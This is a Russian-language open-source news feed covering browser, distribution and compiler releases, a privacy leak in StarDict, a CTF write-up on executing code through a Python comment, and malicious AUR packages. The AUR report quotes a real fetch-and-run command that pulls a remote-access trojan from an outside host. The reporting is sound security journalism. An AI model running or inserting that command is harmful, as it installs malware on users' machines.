  • В WebGPU добавлена поддержка 3D-текстур, сжатых с использованием форматов BC и ASTC. Также добавлен экспериментальный (Origin Trial) режим обеспечения совместимости, предоставляющий урезанный API WebGPU, пригодный для работы с устаревшими графическими API, такими как OpenGL и Direct3D11.
  • Для SVG-элементов <script> (SVGScriptElement) добавлена поддержка атрибута "async" для выполнения скриптов в асинхронном режиме.
  • Для усложнения пассивной идентификации экземпляра браузера в HTTP-заголовке Accept-Language теперь перечисляются не все выбранные пользователем языки, а только наиболее приоритетные языки.
  • Добавлен экспериментальный (Origin trials) API Prompt, предоставляющий вызовы для взаимодействия с большими языковыми моделями, позволяющие использовать в запросах текст, изображения и звуковой ввод. Результат возвращается в удобном для разбора структурированном виде. Среди примеров использования упоминаются генерация описания изображений, визуальный поиск, транскрибирование речи, классификация звуков, генерация текста по заданной инструкции и извлечение информации из текста.
  • В инструментах для web-разработчиков проведена работа по устранению известных проблем c функциональностью и недоработок в интерфейсе пользователя. Благодаря проделанной работе, число открытых уведомлений о проблемах сокращено на 27%. Во встроенный AI-ассистент добавлена поддержка загрузки произвольных изображений. В панели инспектирования сети реализована возможность добавления столбцов для отображения состояния произвольных HTTP-заголовков.
  • Прекращена поддержка операционной системы macOS 11, для работы теперь требуется как минимум выпуск macOS 12.
  • В версии для Android прекращена поддержка платформ Android 8 (Oreo) и Android 9 (Pie).

Кроме нововведений и исправления ошибок в новой версии устранены 12 уязвимостей. Многие из уязвимостей выявлены в результате автоматизированного тестирования инструментами AddressSanitizer, MemorySanitizer, Control Flow Integrity, LibFuzzer и AFL. Критических проблем, которые позволяют обойти все уровни защиты браузера и выполнить код в системе за пределами sandbox-окружения, не выявлено. В рамках программы по выплате денежного вознаграждения за обнаружение уязвимостей для текущего релиза компания Google выплатила 8 премий на сумму 18500 долларов США (одна премия $10000, три $2000, две $1000 и одна $500). Размер одного вознаграждения пока не определён.

Дополнительно можно отметить включение в кодовой базе, на основе которой формируется выпуск Chrome 140, режима OverrideDefaultOzonePlatformHintToAuto, активирующего автоматический выбор бэкенда в прослойке Ozone, абстрагирующей взаимодействие с графической подсистемой. Изменение позволит адаптивно активировать Wayland-бэкенд на системах с поддержкой Wayland, не привязываясь по умолчанию с бэкенду X11. Вручную включить автоматический выбор бэкенда можно и в выпуске Chrome 139 при помощи настройки "chrome://flags/#ozone-platform-hint" или флага командной строки "--ozone-platform-hint=auto".

  1. OpenNews: Выпуск web-браузера Chrome 138
  2. OpenNews: За 10 месяцев в Chrome удалось на 22% повысить производительность в тесте Speedometer 3
  3. OpenNews: Google отказался от навязывания блокировки сторонних Cookie в Chrome
  4. OpenNews: Браузер Chrome переведён на шрифтовой движок Skrifa, написанный на Rust
  5. OpenNews: В Chrome добавлен AI-режим для автоматической смены скомпрометированных паролей
Обсуждение (119 –5) | Тип: Программы |
·05.08.2025 Выпуск Proxmox VE 9.0, дистрибутива для организации работы виртуальных серверов (147 +36)
  Опубликован релиз Proxmox Virtual Environment 9.0, специализированного Linux-дистрибутива на базе Debian GNU/Linux, нацеленного на развертывание и обслуживание виртуальных серверов с использованием LXC и KVM, и способного выступить в роли замены таких продуктов, как VMware vSphere, Microsoft Hyper-V и Citrix Hypervisor. Размер установочного iso-образа 1.6 ГБ.

Proxmox VE предоставляет средства для развёртывания полностью готовой системы виртуальных серверов промышленного уровня с управлением через web-интерфейс, рассчитанный на управление сотнями или даже тысячами виртуальных машин. Дистрибутив имеет встроенные инструменты для организации резервного копирования виртуальных окружений и доступную из коробки поддержку кластеризации, включая возможность миграции виртуальных окружений с одного узла на другой без остановки работы. Среди особенностей web-интерфейса: поддержка безопасной VNC-консоли; управление доступом ко всем доступным объектам (VM, хранилище, узлы и т.п.) на основе ролей; поддержка различных механизмов аутентификации (MS ADS, LDAP, Linux PAM, Proxmox VE authentication).

В новом выпуске:

  • Осуществлён переход на пакетную базу дистрибутива Debian 13, релиз которого ожидается 9 августа. По умолчанию задействовано ядро Linux 6.14. Обновлены версии QEMU 10.0.2, LXC 6.0.4, OpenZFS 2.3.3 и Ceph Squid 19.2.3.
  • Представлен новый web-интерфейс для мобильных устройств, написанный на языке Rust с использованием web-фреймворка Yew. Интерфейс автоматически применяется при доступе с мобильных устройств вместо штатного Proxmox VE GUI и позволяет быстро оценить состояние гостевых систем, задач, хранилищ и других ресурсов. Через мобильный web-интерфейс также можно изменять базовые настройки и выполнять типовые операции, такие как запуск и остановка виртуальных машин.
  • Добавлена поддержка нового механизма создания снапшотов виртуальных машин, который можно использовать с любыми системами хранения, поддерживающими блочное хранилище, включая SAN на базе iSCSI и Fibre Channel. Функциональность реализована через снапшоты как цепочки томов (volume), в которых том, основанный на снапшоте, сохраняет только отличия по сравнению с родительским томом. Поддержка снапшотов на основе цепочек томов также доступна для хранилищ Directory, NFS и CIFS.
  • Предложен новый механизм "HA affinity rules", позволяющий управлять распределением виртуальных машин в кластере и размещением ресурсов в отказоустойчивых конфигурациях. Механизм даёт возможность определять правила привязки ресурса к определённому узлу или закрепления ресурсов между собой. Например, зависящие друг от друга ресурсы, такие как сервер приложений и связанная с ним база данных, могут быть размещены вместе на одном физическом узле для минимизации задержек при обмене данными. С другой стороны, для сервисов, требующих максимальной избыточности, можно настроить разнесение обработчиков по разным узлам. Например, для обеспечения отказоустойчивости можно настроить запуск виртуальных машин, выполняющих одно и то же критически важное приложение, всегда на разных узлах.
  • В стеке программно определяемых сетей (SDN, Software-Defined Networking) появилась функция SDN Fabric, упрощающая настройку и управление сложными маршрутизируемыми сетями из соединённых между собой узлов. Для повышения надёжности SDN Fabric может направлять межузловой трафик по разным маршрутам и автоматически обрабатывать сбои сетевых карт. SDN Fabric упрощает управление динамически маршрутизированными сетями, которые могут использоваться для создания кластера Ceph или в качестве основы для построения VPN-сети. Из протоколов маршрутизации поддерживаются OpenFabric и OSPF.
  • Предоставлена возможность прозрачного обновления с ветки Proxmox VE 8.x до выпуска 9.0.
  • В OpenZFS реализовано добавление на лету новых дисков в существующий массив RAIDZ, что позволяет увеличить размер хранилища без остановки работы и без необходимости создания новой группы накопителей. Перераспределение избыточных данных с учётом новых дисков осуществляется автоматически.


  1. OpenNews: Выпуск Proxmox VE 8.4, дистрибутива для организации работы виртуальных серверов
  2. OpenNews: Доступен дистрибутив Proxmox Backup Server 3.3
  3. OpenNews: Выпуск дистрибутива Proxmox Mail Gateway 8.2
  4. OpenNews: Выпуск дистрибутива Proxmox Mail Gateway 8.0
  5. OpenNews: Выпуск дистрибутива Proxmox Mail Gateway 8.0
Обсуждение (147 +36) | Тип: Программы |
·04.08.2025 Пакет StarDict в Debian отправляет выделенный текст на внешние серверы (405 +66)
  В предлагаемом в репозитории Debian Testing (будущий релиз Debian 13) пакете StarDict, реализующем интерфейс для поиска в словарях, выявлена проблема с конфиденциальностью - в конфигурации по умолчанию приложение отправляет автоматически помещаемый в буфер обмена выделенный текст (x11 PRIMARY selection) на внешние серверы. Достаточно в любом приложении выделить отрывок текста, и он сразу отправляется без шифрования по протоколу HTTP на китайские серверы online-словарей dict.youdao.com и dict.cn. Проблема проявляется только при работе в окружениях на базе протокола X11, при использовании Wayland по умолчанию применяется изоляция буфера обмена.

Сопровождающий пакет StarDict в Debian ответил, что подобное поведение является штатным. По умолчанию в StarDict включён режим автоматического поиска в словарях выделенного текста и активированы как локальные, так и внешние словари. Серверы dict.youdao.com и dict.cn предоставляют англо-китайские словари, подключаемые через плагины, по умолчанию включаемые при установке пакета stardict-plugin, который является рекомендованной зависимостью для пакета stardict-gtk. Тем, кого подобное поведение не устраивает, рекомендовано в настройках отключить сетевые словари или функцию автоматического поиска при выделении.

Обративший внимание на проблему пользователь возразил, что подобное поведение ни при каких условиях не должно активироваться по умолчанию, так как оно приводит к утечке информации. Пользователь может выделять в приложениях текст с конфиденциальным содержимым, например, паролями и личными данными. При этом информация не только потенциально оседает в логах на серверах dict.youdao.com и dict.cn и видна их администраторам, но и становится доступна для перехвата трафика из-за использования HTTP, а не HTTPS.


911565 write(16, "GET HTTP://dict.youdao.com/fsearch?q=выделенный текст HTTP/1.0\r\nUser-Agent: Mozilla/4.0(compatible;MSIE 5.00;Windows 98)\r\nAccept: */*\r\nHost: dict.youdao.com\r\nConnection: close\r\n\r\n", 171) = 171

911565 write(17, "GET HTTP://dict.cn/ws.php?utf8=true&q=выделенный текст HTTP/1.0\r\nUser-Agent: Mozilla/4.0(compatible;MSIE 5.00;Windows 98)\r\nAccept: */*\r\nHost: dict.cn\r\nConnection: close\r\n\r\n", 164) = 164

Примечательно, что в 2009 году аналогичное поведение в StarDict было признано уязвимостью (CVE-2009-2260) и обращение к сетевым словарям было отключено по умолчанию. Теперь данная функциональность опять возвращена.

  1. OpenNews: После десятилетнего перерыва опубликован GoldenDict 1.5.0
  2. OpenNews: Загадочное исчезновение проекта StarDict с SourceForge.net
  3. OpenNews: Debian запрещает использование в пакетах секции со специфичными для вендоров патчами
  4. OpenNews: Прецедент с удалением пакета из репозитория Debian из-за пошлого названия
  5. OpenNews: В Debian разрешено встраивание зависимостей в пакет Kubernetes
Обсуждение (405 +66) | Тип: Проблемы безопасности |
·04.08.2025 В Clang намерены добавить режим усиленной безопасности (250 +19)
  Аарон Баллман (Aaron Ballman), главный сопровождающий компилятор Clang и участник команд разработки стандартов WG21 (C++) и WG14 (C), начал обсуждение добавления в компилятор Clang режима усиления безопасности. Новый режим позволит разом активировать набор опций для усиления защиты по аналогии с добавленным в GCC 14 флагом "-fhardened", при котором включаются опции "-D_FORTIFY_SOURCE=3 -D_GLIBCXX_ASSERTIONS -ftrivial-auto-var-init=zero -fPIE -pie -Wl,-z,relro,-z,now -fstack-protector-strong -fstack-clash-protection -fcf-protection=full".

Отмечается, что в настоящее время ведётся работа по добавлению возможностей для усиления безопасности в стандарты C и C++, но этот процесс не быстрый, при том, что в Сlang уже доступны отдельные опции с реализацией дополнительных механизмов защиты. Реализуемые методы защиты часто приводят к отдельным несовместимостям с существующим кодом или нарушению ABI, что не позволяет активировать их по умолчанию. Кроме того, подобные опции разрознены (флаги для управления компиляцией, флаги генерации машинных инструкций, привязанные к аппаратным архитектурам, предупреждения, режимы диагностики, макросы), плохо документированы и выпадают из поля зрения многих разработчиков.

Единая настройка унифицирует включение связанных с безопасностью опций и упростит их применение. Рассматривается несколько вариантов активации режима усиленной безопасности, например, обсуждается активация через флаг "-fhardened", набор настроек "--config=hardened", отдельный драйвер (clang --driver-mode) или раздельные опции "-fhardened, -mhardened и -Whardened", привязанные к компиляции, генерации кода и выводу предупреждений. Режим может охватывать:

  • Возможности компилятора: -ftrivial-auto-var-init, -fPIE, -fcf-protection и т.п.
  • Возможности, привязанные к генерации кода для целевых платформ: -mspeculative-load-hardening, -mlvi-hardening и т.п.
  • Предупреждения: -Wall, -Wextra, -Werror=return-type и т.п.
  • Режимы усиления безопасности в стандартной библиотеке функций.
  • Макросы: _FORTIFY_SOURCE, _GLIBCXX_ASSERTIONS и т.п.
  • Требование к явному выбору используемого стандарта языка.
  • Отказ компилировать код с использованием устаревших стандартов C89 и C++98.
  • Передача дополнительных флагов компоновщику, например, для включения рандомизации адресов.

  1. OpenNews: Проект LLVM развивает средства для безопасной работы с буферами в C++
  2. OpenNews: Microsoft открыл CHERIoT, аппаратное решение для повышения безопасности кода на языке Си
  3. OpenNews: Создатель C++ раскритиковал навязывание безопасных языков программирования
  4. OpenNews: Проект TrapC развивает Си-подобный язык, безопасно работающий с памятью
  5. OpenNews: Fil-C - компилятор для языков C и C++, гарантирующий безопасную работу с памятью
Обсуждение (250 +19) | Тип: К сведению |
·03.08.2025 Объявлены победители 28 конкурса по написанию запутанного кода на языке Си (74 +34)
  Опубликованы исходные тексты работ, победивших в двадцать восьмом конкурсе IOCCC (International Obfuscated C Code Contest), участникам которого предлагалось подготовить наиболее запутанный и трудноразбираемый код на языке Си. 28 конкурс проведён после четырёхлетнего перерыва и примечателен разрешением использовать кодировку UTF-8 в коде.

Участвующие в конкурсе работы, с одной стороны, должны препятствовать анализу кода и пониманию сути решаемой задачи, но, с другой стороны, код должен быть интересен и чем-то примечателен (работы могут быть необычно оформлены или выделять неожиданные стороны языка Си). Размер исходного кода программы не должен превышать 4096 байт, а программа должна собираться и выполнять осмысленное действие.

Победители:

  • Помощник в решении головоломки Wordle, в которой нужно угадать пятибуквенное слово за шесть попыток (код).
  • Чат-бот, использующий модель llama2-7b-chat и OpenMP. Проект отмечен как самый компактный движок для выполнения больших языковых моделей (код всего 1800 байт).
  • На первый взгляд программа возводит в квадрат числа от 1 до 10, но на деле показывается рецепт приготовления жареного лосося. Код 15 строк и содержит манипуляции с незаметными символами Unicode.
  • Эмулятор CPU Intel 4004. Код 14 строк. Статья с разбором от автора.
  • Генератор изображений деревьев в консоли. Код оформлен в виде дерева.
  • Трассировщик лучей, реализованный целиком при помощи макросов Си-препроцессора (код).
  • Физический движок, симулирующий вращение волчка. Код тоже в форме волчка.
    
    
    
                                           @@
                                          @@
                                 @@@@@@@@@@@@
                             @@ @@@@@@@@@@@@@@@@
                            @@@@  @@@@@@@@@@@@@@@@
                           @@@@@@@    @@@@@@@@@@@  @
                           @@@@@@@@@@@           @@@
                            @@@@@@@@@@@@@@@@@@@@@@@@
                            @@@@@@@@@@@@@@@@@@@@@@@@
                             @@@@@@@@@@@@@@@@@@@@@
                             @@@@@@@@@@@@@@@@@@@@
                              @@@@@@@@@@@@@@@@
                              @@@@@@@@@@@@@
                               @@@@@@@@@
                                 @@@@
                                 @@
                                @@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    
    
  • Пародия на игру Oregon Trail. Код с огромным числом операторов goto.
  • Переводчик с языка, использовавшегося радистами-шифровальщиками навахо (код).
  • Текстовый редактор eh (код).
  • Калькулятор, выражения в котором задаются словами (например, "два плюс два"). Код в виде калькулятора.
  • Рисует текущую фазу луны в консоли. Код в форме луны.
  • Утилита для удаления артефактов из JPEG-изображений. Код 42 строки.
  • Виртуальная машина, способная запускать Doom 1/2 на современных ПК. Код 40 строк.
  • Генератор Си-кода для вывода указанных данных. Код в виде спирали.

  • Эмулятор CPU OpenRISC, способный запустить Linux. Код 73 строки.
  • Интерпретатор языка JavaScript с поддержкой объектов, массивов, строк, чисел, функций и сборщиком мусора. Код 61 строка.
  • Анимация танцующего Рика Эстли со звуковым сопровождением (код).
  • Интерпретатор z3-файлов от игры Zork (код).
  • Генератор пиктограмм в формате pbm из MD5-хэшей. Код - однострочник 135 байт.
  • Генератор музыки (код).
  • Симулятор смерча в 3D. Код в форме смерча.
  • Программа для шифрования и дешифровки текста (код).

  1. OpenNews: Возобновлено соревнование по написанию запутанного кода на языке Си
  2. OpenNews: Названы победители 27 конкурса по написанию запутанного кода на языке Си
  3. OpenNews: Результаты 22 чемпионата по написанию запутанного кода на языке Си
  4. OpenNews: Опубликованы работы, победившие на 21 чемпионате по написанию запутанного кода на языке Си
  5. OpenNews: Опубликован код работ, победивших на соревновании по написанию самого запутанного кода на языке Си
Обсуждение (74 +34) | Тип: К сведению |
·03.08.2025 Достижение выполнения кода при контроле над текстом комментария в Python-скрипте (86 +28)
  Один из участников соревнования UIUCTF 2025, подробно разобрал, как ему удалось выполнить задание, требующее добиться исполнения своего кода на сервере, имея лишь возможность изменения содержимого текста комментария в коде.

Участники могли отправить сетевой запрос к Python-скрипту, который создавал новый Python-скрипт cо случайными именем, добавлял поступившие от пользователя данные в текст комментария, вырезав символы "\n" и "\r", и запускал этот скрипт командой "python3 имя.py". Контролируя только содержимое комментария, участник должен был извлечь строку из файла "/home/ctfuser/flag". Скрипт создавался следующим кодом:


   comment = input("> ").replace("\n", "").replace("\r", "")
   code = f"""print("hello world!")
   # This is a comment. Here's another:
   # {comment}
   print("Thanks for playing!")"""

Вместо "{comment}" подставлялись данные, поступившие от участника, и в итоге запускался следующий код:


   print("hello world!")
   # This is a comment. Here's another:
   # Данные, поступившие от участника соревнования
   print("Thanks for playing!")

Задание было сформировано по мотивам уязвимости в парсере CPython, который обрабатывал символ с нулевым кодом как окончание строки (уязвимость, например, можно было использовать для скрытия вредоносных действий в тексте комментария). Проблема была устранена в выпусках CPython 3.12.0 и 3.11.4. В применяемом в конкурсе обработчике вырезались только символы "\n" и "\r", но при использовании уязвимой версии СPython участник мог использовать символ "\0" как разделитель. Тем не менее этот трюк не сработал, так как в конкурсе использовалась уже исправленная версия CPython c расчётом на то, что в парсере могут оставаться ещё какие-то похожие ошибки и участники смогут их выявить.

Успешно справившийся с заданием участник не стал искать новые уязвимости в парсере, которые бы позволили разбить строку на части, а воспользовался особенностью выполнения в Python файлов по типу их содержимого. Например, вместо исходного кода в файл с расширением ".py" можно поместить прокэшированный байткод, сохраняемый в файлах с расширением ".pyc", и подобный файл будет выполнен. В рассматриваемом конкурсе участник мог контролировать только содержимое в середине файла, поэтому не мог добавить свой заголовок для искажения MIME-типа.

Задачу удалось решить, воспользовавшись тем, что Python начиная с ветки 2.6 может исполнять содержимое ZIP-архивов для поставки Python-пакетов в сжатом виде. Как и в случае с кэшем байт-кода, наличие zip-архива определяется по содержимому, а не по расширению файла, т.е. в "файл.py" можно поместить zip-архив, и при запуске командой "python файл.py" он будет обработан как сжатый Python-пакет. При этом ZIP-архивы в Python индексируются не по заголовку в начале файла, а по секции EOCD (End of Central Directory Record) в конце файла. При наличии в архиве файла "__main__.py" этот файл запускается автоматически при прямом запуске архива командой "python архив".

Конкурсная задача была решена генерацией подобного ZIP-архива и подстановкой его в текст комментария. Для сохранения корректности структуры файла в условиях наличия в конце исходного файла вызова 'print("Thanks for playing!")' было использовано наличие в EOCD-секции области комментария, размещаемой в самом конце.

  1. OpenNews: Google начнёт выплачивать вознаграждения за выявление уязвимостей в гипервизоре KVM
  2. OpenNews: Google расширил программу стимулирования выявления уязвимостей в ядре Linux
  3. OpenNews: Уязвимость в Python, проявляющаяся при обработке непроверенных дробных чисел в ctypes
  4. OpenNews: Уязвимость в Python, позволяющая вызвать системные команды из изолированных скриптов
  5. OpenNews: Универсальный способ DoS-атаки, затрагивающий PHP, Java, Ruby, Python и различные web-платформы
Обсуждение (86 +28) | Тип: Проблемы безопасности |
·01.08.2025 В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных пакетов (134 +19)
  В репозитории AUR (Arch User Repository), применяемом в Arch Linux для распространения пакетов от сторонних разработчиков, продолжилась публикация вредоносного кода, интегрированного в пакеты с неофициальными сборками браузеров. В дополнение к выявленным две недели назад вредоносным пакетам firefox-patch-bin, librewolf-fix-bin и zen-browser-patched-bin, в AUR был добавлен пакет google-chrome-stable, также содержащий изменение, устанавливающее вредоносный компонент, предоставляющий удалённый доступ к системе.

В файле PKGBUILD проблемного пакета была определена установка скрипта для запуска браузера google-chrome-stable.sh, в котором среди прочего присутствовала команда 'python -c "$(curl https://segs.lol/9wUb1Z)"', загружавшая вредоносное ПО, распознанное сервисом VirusTotal как троян Spark, позволяющий удалённо управлять системой, запускать процессы, передавать файлы, инспектировать трафик и отправлять скриншоты.

Вредоносный пакет google-chrome-stable был загружен позавчера и был удалён администраторами AUR через несколько часов после появления. Почти сразу после удаления google-chrome-stable в AUR были загружены два вредоносных пакета - "chrome" и "chrome-bin", содержащие аналогичный сценарий установки вредоносного ПО на систему пользователя.

Следом было выявлено ещё три пакета с вредоносным кодом: ttf-mac-fonts-all, ttf-ms-fonts-all и gromit.

  1. OpenNews: В AUR-репозитории Arch Linux выявлены вредоносные пакеты
  2. OpenNews: Релиз Aura 4.0.0, пакетного менеджера для Arch Linux
  3. OpenNews: Выпуск пакетного менеджера pacstall 5.0, развивающего аналог AUR для Ubuntu
  4. OpenNews: Эксперимент по получению контроля над пакетами в репозитории AUR
  5. OpenNews: В AUR-репозитории Arch Linux найдено вредоносное ПО
Обсуждение (134 +19) | Тип: Проблемы безопасности |
·01.08.2025 Представлен Proton Authenticator, генератор одноразовых паролей для двухфакторной аутентификации (114 +29)
  Швейцарская компания Proton AG, развивающая сервисы Proton Mail, Proton Drive и Proton VPN, представила открытое приложение Proton Authenticator, предназначенное для аутентификации при помощи одноразовых паролей с ограниченным сроком действия, генерируемых при помощи алгоритма TOTP (Time-based One-Time Password). Proton Authenticator может применяться как более функциональная замена проприетарным аутентификаторам, таким как Google Authenticator, Microsoft Authenticator, Authy и Duo, а также в качестве альтернативы открытым проектам FreeOTP и oathtool. Код Proton Authenticator распространяется под лицензией GPLv3. Доступны как мобильные приложения для Android и iOS, так и настольные программы для Linux, macOS и Windows. При разработке в зависимости от платформы применяются языки Kotlin, Swift и Rust.

Среди возможностей и отличительных особенностей Proton Authenticator:

  • Поддержка создания шифрованных резервных копий исходных секретных ключей для их сохранения на локальном носителе или размещения в облаке.
  • Поддержка синхронизации ключей между несколькими устройствами пользователя с применением сквозного шифрования.
  • Возможность ограничения доступа к приложению при помощи биометрической аутентификации или PIN-кода.
  • Возможность доступа к кодам в offline-режиме, без необходимости наличия сетевого соединения. Для получения ключей может использоваться QR-код.
  • Отсутствие встроенной рекламы и трекеров.
  • Работа без подключения к учётной записи в сервисах Proton.
  • Отсутствие привязки к одному производителю.
  • Функции импорта и экспорта для миграции ключей между разными платформами. Поддержка импорта ключей из Google Authenticator, 2FAS, Aegis Authenticator, Bitwarden Authenticator, Ente Auth и LastPass Authenticator.

Алгоритм TOTP позволяет генерировать на локальном устройстве пользователя одноразовые коды подтверждения и проверять их на внешнем сервере, используя в качестве параметров секретный ключ и текущее время. Для генерации пароля обмен данными между клиентом и сервером не требуется (достаточно один раз инициализировать ключ, распознав показанный сервером QR-код или импортировав ключ вручную). Время жизни одноразового пароля обычно ограничивается 30 секундами, после чего требуется генерация нового пароля. Пароль генерируется путём вычисления хэша SHA-1, SHA-256 или SHA-512 над сочетанием из ключа и очередного интервала времени, и использования нескольких младших битов хэша для выделения проверочных цифр.

  1. OpenNews: Релиз Vaultwarden 1.23, альтернативного сервера для менеджера паролей Bitwarden
  2. OpenNews: Релиз менеджера паролей KeePassXC 2.7
  3. OpenNews: Небезопасное хранение данных в менеджерах паролей для платформы Android
  4. OpenNews: Уязвимость в библиотеке OpenPGP.js, позволяющая обойти верификацию сообщений
  5. OpenNews: Proton Mail представил высокопроизводительную IMAP-библиотеку Gluon
Обсуждение (114 +29) | Тип: Программы |
·01.08.2025 Проект KDE опубликовал дистрибутив KDE Linux Testing Edition (140 +19)
  Проект KDE начал публикацию тестовых сборок собственного дистрибутива KDE Linux - KDE Linux Testing Edition, а также разместил на основном сайте kde.org страницу, посвящённую дистрибутиву. Для установки доступны системные образы (5.2 ГБ) для создания загрузочных USB-накопителей, работающих в Live-режиме. KDE Linux позиционируется как эталонная реализация Linux-дистрибутива для рабочего стола и приложений KDE, оптимально сочетаемая с технологиями KDE и развиваемая без посредников разработчиками KDE.

Редакция KDE Linux Testing Edition основывается на master-ветке в Git и рассчитана на тестирование, контроль качества и отслеживание процесса разработки. Сборки будут обновляться ежедневно и отражать текущее состояние разработки компонентов проекта. Основной целевой аудиторией KDE Linux Testing Edition называются разработчики KDE и пользователи, желающие принять участие в контроле качества, проверке новых возможностей и выявлении ошибок.

Из ограничений отмечается отсутствие поддержки старых GPU NVIDIA - поддерживаются только GPU на базе микроархитектуры Turing (GTX 16xx) и новее из-за отсутствия их поддержки в открытых модулях ядра (лицензионные ограничения не позволяют включить в состав образа проприетарные модули с поддержкой старых GPU). Для работы доступен только графический сеанс на базе Wayland.

В будущем планируют сформировать редакцию для энтузиастов и опытных пользователей (Enthusiast Edition), предоставляющую доступ к самым свежим релизам и бета-версиям KDE Plasma, а также стабильную сборку (Stable Edition), предлагающую финальные релизы после проведения дополнительного тестирования и стабилизации. В целом, KDE Linux преподносится как универсальный продукт, пригодный для разработчиков KDE, обычных пользователей и OEM-производителей оборудования.

Дистрибутив основан на пакетной базе Arch Linux, но оформлен в форме неделимого образа, не применяющего разбивку на отдельные пакеты, монтируемого в режиме только для чтения и обновляемого атомарно. Дистрибутивом поддерживаются повторяемые сборки, позволяющие любому желающему верифицировать процесс сборки дистрибутива. Все пользовательские (/home) и изменяемые системные данные хранятся в зашифрованных разделах. В качестве загрузчика задействован systemd-boot, поддерживающий загрузку только в режиме EFI.

Для обновления используются два дисковых раздела - обновление загружается в пассивный раздел, который после перезагрузки становится активным, а прошлый активный раздел переводится в пассивный режим и ожидает установки следующего обновления. В случае возникновения проблем после установки обновления предоставляется возможность отката на прошлое состояние системы. Переключение между разными состояниями системы реализовано через механизм снапшотов Btrfs. Для установки обновлений с использованием атомарного механизма замены разделов применяется компонент systemd-sysupdate и утилита updatectl.

Система отделена от приложений - дополнительные приложения могут быть установлены в домашний каталог в форматах AppImage, Snap или Flatpak. Кроме того, в состав входят инструментарии Distrobox и Toolbox, позволяющие создавать в домашнем каталоге контейнеры для установки произвольных пакетов из других дистрибутивов. Пользователь также может использовать утилиту systemd-sysext для установки образов расширения системы (System Extension), содержимое которых накладывается на иерархию /usr/ при помощи OverlayFS.

  1. OpenNews: Проект KDE развивает собственный дистрибутив KDE Linux
  2. OpenNews: Сформированы сборки KDE Neon на базе Ubuntu 24.04
  3. OpenNews: Превращение сборки Fedora c KDE в базовую редакцию дистрибутива
  4. OpenNews: Превращение GNOME OS в дистрибутив для обычных пользователей
  5. OpenNews: Дистрибутив GNOME OS перешёл на стадию тестирования на реальном оборудовании
Обсуждение (140 +19) | Тип: Программы |
·31.07.2025 Компания Vivo открыла код ядра BlueOS, написанного на языке Rust (309 +50)
  Компания Vivo, занимающая около 10% мирового рынка смартфонов (5 место среди производителей смартфонов), представила первый официальный открытый релиз ядра операционной системы BlueOS (Blue River OS). Операционная система BlueOS развивается с 2018 года и уже используется в умных часах серии Vivo Watch. Vivo также работает над применением BlueOS в умных очках, роботах, умных терминалах и потребительских AI-устройствах. Код ядра написан на языке Rust и открыт под лицензией Apache 2.0. На Rust также написаны системные фреймворки BlueOS.

Операционная система BlueOS изначально развивается с оглядкой на обеспечение безопасности и использует язык Rust для предотвращения появления уязвимостей, вызванных ошибками при работе с памятью, которые по статистике Google и Microsoft составляют 70% от всех уязвимостей в операционных системах. Для обеспечения безопасной работы с памятью в BlueOS используется комбинация из применения умных указателей во время выполнения и проверок на этапе компиляции, предоставляемых языком Rust (отслеживание владения объектами, проверка заимствования переменных, учёт времени жизни объектов).

Ядро BlueOS (Blue River Kernel) оптимизировано для минимального потребления ресурсов и может использоваться на встраиваемых платформах, мобильных устройствах и системах интернета вещей. В минимальной конфигурации ядро требует для своей работы всего 13 КБ оперативной памяти. При этом ядро поддерживает современные процессорные архитектуры, включая ARM и RISC-V. Поверх ядра реализована стандартная библиотека Си, поддерживающая программные интерфейсы, определённые в стандарте POSIX, а также библиотека rust-std.

Ядро предоставляет планировщик задач, файловую систему, механизм управления памятью, сетевой стек и набор драйверов. Поддерживается несколько алгоритмов планирования задач, среди которых как алгоритмы для равномерного распределения квантов времени между процессами, так и алгоритмы для работы в режиме реального времени на основе расчёта приоритетов. Доступно несколько алгоритмов выделения памяти, оптимизированных для разных сценариев использования.

Предоставляется собственная файловая система c классической иерархической архитектурой на базе inode, а также файловые системы tmpfs, devfs, sysfs, procfs, nfs и fat32. TCP/IP стек поддерживает POSIX Socket API, socketfd и обработку данных в блокирующем и не блокирующем режимах, и может использоваться в конфигурациях с несколькими сетевыми картами. Для снижения накладных расходов при передаче данных применяется архитектура zero-copy, исключающая промежуточную буферизацию.

Для разработки драйверов предлагается слой для абстрагирования доступа к оборудованию, позволяющий создавать драйверы на языке Rust, а также переносить драйверы на языке Си, уже созданные для других ядер. Документация к ядру пока ограничивается инструкциями по сборке и тестированию, а также подсказками по реализации своих системных вызовов и описанию базовых типов данных. Для тестирования предлагается использовать QEMU (mps2-an385, mps3-an547, virt-aarch64, virt-riscv64) или плату Raspberry Pi Pico2.

  1. OpenNews: В Китае запущен спутник с real-time подсистемой ядра Linux, написанной на Rust
  2. OpenNews: Операционная система Munal на Rust
  3. OpenNews: Выпуск операционной системы Redox OS 0.9, написанной на языке Rust
  4. OpenNews: Ядро Maestro, написанное на Rust и частично совместимое с Linux
  5. OpenNews: Проект Asterinas развивает ядро на языке Rust, совместимое с Linux
Обсуждение (309 +50) | Тип: К сведению | Интересно
·30.07.2025 Эксперимент по использованию AI для перевода приложения с GTK2 и OpenGL на GTK4 и Vulkan (364 +26)
  Кристиан Шаллер (Christian Schaller), возглавляющий Fedora Desktop Team и группу по развитию десктоп-систем в компании Red Hat, опубликовал результаты оценки пригодности применения больших языковых моделей в процессе разработки графических приложений для Linux. В качестве эксперимента он воспользовался AI-ассистентом Claude для перевода устаревшего графического приложения Xtraceroute на актуальные технологии.

Приложение Xtraceroute, визуализирующее путь сетевых пакетов на 3D-глобусе, изначально было написано с использованием GTK1 и OpenGL, и в начале 2000-х годов было портировано на GTK2, после чего 20 лет не обновлялось. Благодаря применению AI-ассистента, Кристиану потребовалось около пяти часов для портирования данного приложения на GTK4 и графический API Vulkan.

Было:

Стало:

Затем Кристиан воспользовался AI для создания на основе подготовленного порта нового приложения, демонстрирующего местоположение офисов Red Hat на глобусе и показывающего в нижней части окна новости компании. Кристиан также высказал идею задействования AI для автоматизации проверки дополнений к GNOME Shell и генерации патчей с учётом изменений, вносимых в новых выпусках GNOME Shell.

